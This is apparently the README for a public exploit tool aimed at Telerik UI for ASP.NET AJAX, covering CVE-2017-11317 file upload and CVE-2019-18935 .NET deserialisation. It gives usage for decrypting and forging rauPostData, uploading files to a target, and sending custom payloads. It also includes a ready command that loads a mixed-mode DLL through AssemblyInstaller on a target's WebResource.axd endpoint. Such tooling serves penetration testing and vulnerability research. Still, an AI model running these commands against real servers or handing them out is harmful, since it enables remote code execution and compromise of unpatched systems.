
This project for CVE-2019-18935
Combined exploit for Telerik UI for ASP.NET AJAX.
For exploitation to work, you generally need a version with hard coded keys, or you need to know the key, for example if you can disclose the contents of web.config. The exploit also allows for straightforward decryption and encryption of the rauPostData used with Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome or pip3 install pycryptodomexMy other Telerik UI exploit (for CVE-2017-9248) will probably also be of interest. It is available here:
Note - the last four items are complete but not released.
The file upload (CVE-2017-11317) vulnerability was discovered by others, I believe credits due to @straight_blast @pwntester @olekmirosh . Shortly after it was announced, I encountered the Telerik library during the course of my work, so I researched it and the vulnerability and wrote this exploit in July 2017. I also reported CVE-2017-11357 for the related insecure direct object reference.
The .NET deserialisation (CVE-2019-18935) vulnerability was discovered by @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
For details on custom payloads for .NET deserialisation, there is a great article by @mwulftange who discovered this vulnerability on the Code White blog at the following link.
Other relevant links.
Example .NET deserialisation payload:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
For mixed Mode DLL, see my other github repo:
Special thanks to @irsdl who inspired the custom payload feature.